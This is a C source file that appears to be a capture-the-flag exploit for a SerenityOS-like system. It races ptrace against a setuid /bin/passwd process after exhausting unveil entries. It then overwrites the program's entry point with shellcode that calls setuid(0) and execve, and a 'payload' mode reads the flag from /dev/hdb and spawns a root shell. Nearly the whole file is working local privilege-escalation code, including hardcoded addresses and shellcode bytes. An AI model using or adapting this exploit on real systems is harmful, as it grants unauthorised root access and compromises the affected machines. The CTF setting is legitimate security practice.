#include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 

    #define ass(X) do { if (!(X)) { printf("failed @ %u\n", __LINE__); perror(#X); exit(1); } } while (0)

    void child(volatile unsigned char *ready)
    {

        ass(!unveil("/", "rwx"));

        for (unsigned i = 0; i < (1ul << 15); ++i) {
            char path[0x100];
            sprintf(path, "/tmp/yolo-%u", i);
    if (i % 100 == 0) { printf("%s\r", path); fflush(stdout); }
            ass(!unveil(path, "rwc"));
        }
    printf("\n");

    printf("child ready\n");

        {
            *ready = 1;             // continue parent
            while (*ready != 2);    // wait for attach
        }
    printf("child exec\n");

        usleep(100e3);

        char str0[] = "/bin/sh";
        char *argv[] = {str0, nullptr};
        char *envp[] = {nullptr};
        execve("/bin/passwd", argv, envp);
    printf("child %u\n", __LINE__);

    }

    unsigned addr_entry  = 0x08001ba6;  // entry point
    unsigned addr_execve = 0x080327b5;  // libc execve
    unsigned char payload[16] = {
        0x99,0xB0,0x31,0xCD,0x82,                               // setuid(0)
        0x58,0x58,0x58,0x50,0xFF,0x30,                          // push envp, push argv, push *argv
        0xE8,0x00,0x00,0x00,0x00,                               // call 
    };
    unsigned sentinel = 0xcccccccc;

    static void prepare_shellcode()
    {
        unsigned offoff = 12;
        * (unsigned*) (payload + offoff) = addr_execve - (addr_entry + offoff + 4);
    }

    static int set_priority(pid_t pid, int prio)
    {
        sched_param sp = {prio};
        return sched_setparam(pid, &sp);
    }

    void parent(pid_t pid, volatile unsigned char *ready)
    {

        set_priority( 0 , 1);
        set_priority(pid, 3);

        while (*ready != 1) sched_yield();  // wait for child
        ass(!ptrace(PT_ATTACH, pid, nullptr, 0));
    printf("parent attached\n");

        ass(!ptrace(PT_POKE, pid, (void*) addr_entry, sentinel));
    printf("wrote sentinel\n");

        set_priority( 0 , 3);
        set_priority(pid, 1);

        *ready = 2;             // continue child

        unsigned long cnt = 0;
        unsigned last_v = -1;

        while (true) {

            errno = 0;
            unsigned v = ptrace(PT_PEEK, pid, (void*) addr_entry, 0), w;
            int errv = errno;
    if (cnt % 1000 == 0 || v != last_v) { printf("%8lu %-2d %08x\n", cnt, errv, v); }

            if (errv == EACCES) {
                printf("PEEK ~> EACCES\n");
                break;
            }

            if (!errv && v != sentinel) {
                for (unsigned i = 0; i < (sizeof(payload)+3)/4; ++i) {
                    w = ptrace(PT_POKE, pid, (void*) (addr_entry + 4*i), ((unsigned*) payload)[i]);
    printf("<%u> %-2d\n", i, w);
                }
                break;
            }

            last_v = v;

            if (++cnt % 1000 == 0) {
                ass(!ptrace(PT_CONTINUE, pid, nullptr, 0));
                sched_yield();
            }

        }

        ass(pid == waitpid(pid, nullptr, 0));

    }

    int main(int argc, char **argv)
    {

    ////////////////////////////////////////////////////////////////

        if (argc >= 2 && !strcmp(argv[1], "payload")) {

            // read the flag

            int fd = open("/dev/hdb", O_RDONLY);
            printf("fd=%d\n", fd);

            char buf[0x401];
            for (unsigned i = 1; i < sizeof(buf); ++i) {
                lseek(fd, 0, SEEK_SET);
                errno = 0;
                int r = read(fd, buf, i);
                if (r != (signed) i) {
                    printf("i=%d r=%d errno=%d\n", i, r, errno);
                    break;
                }
            }

            printf("\n--> \x1b[32m%s\x1b[0m\n", buf);

            execl("/bin/sh", "sh", nullptr);
            exit(0);
        }

    ////////////////////////////////////////////////////////////////

        prepare_shellcode();

        unsigned char *ready;
        {
            void *page = mmap(nullptr, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
            ass(page != MAP_FAILED);
            ready = (unsigned char*) page;
        }
        *ready = 0;

        pid_t pid = fork();
        ass(pid >= 0);

        if (pid > 0)
            parent(pid, ready);
        else
            child(ready);

    }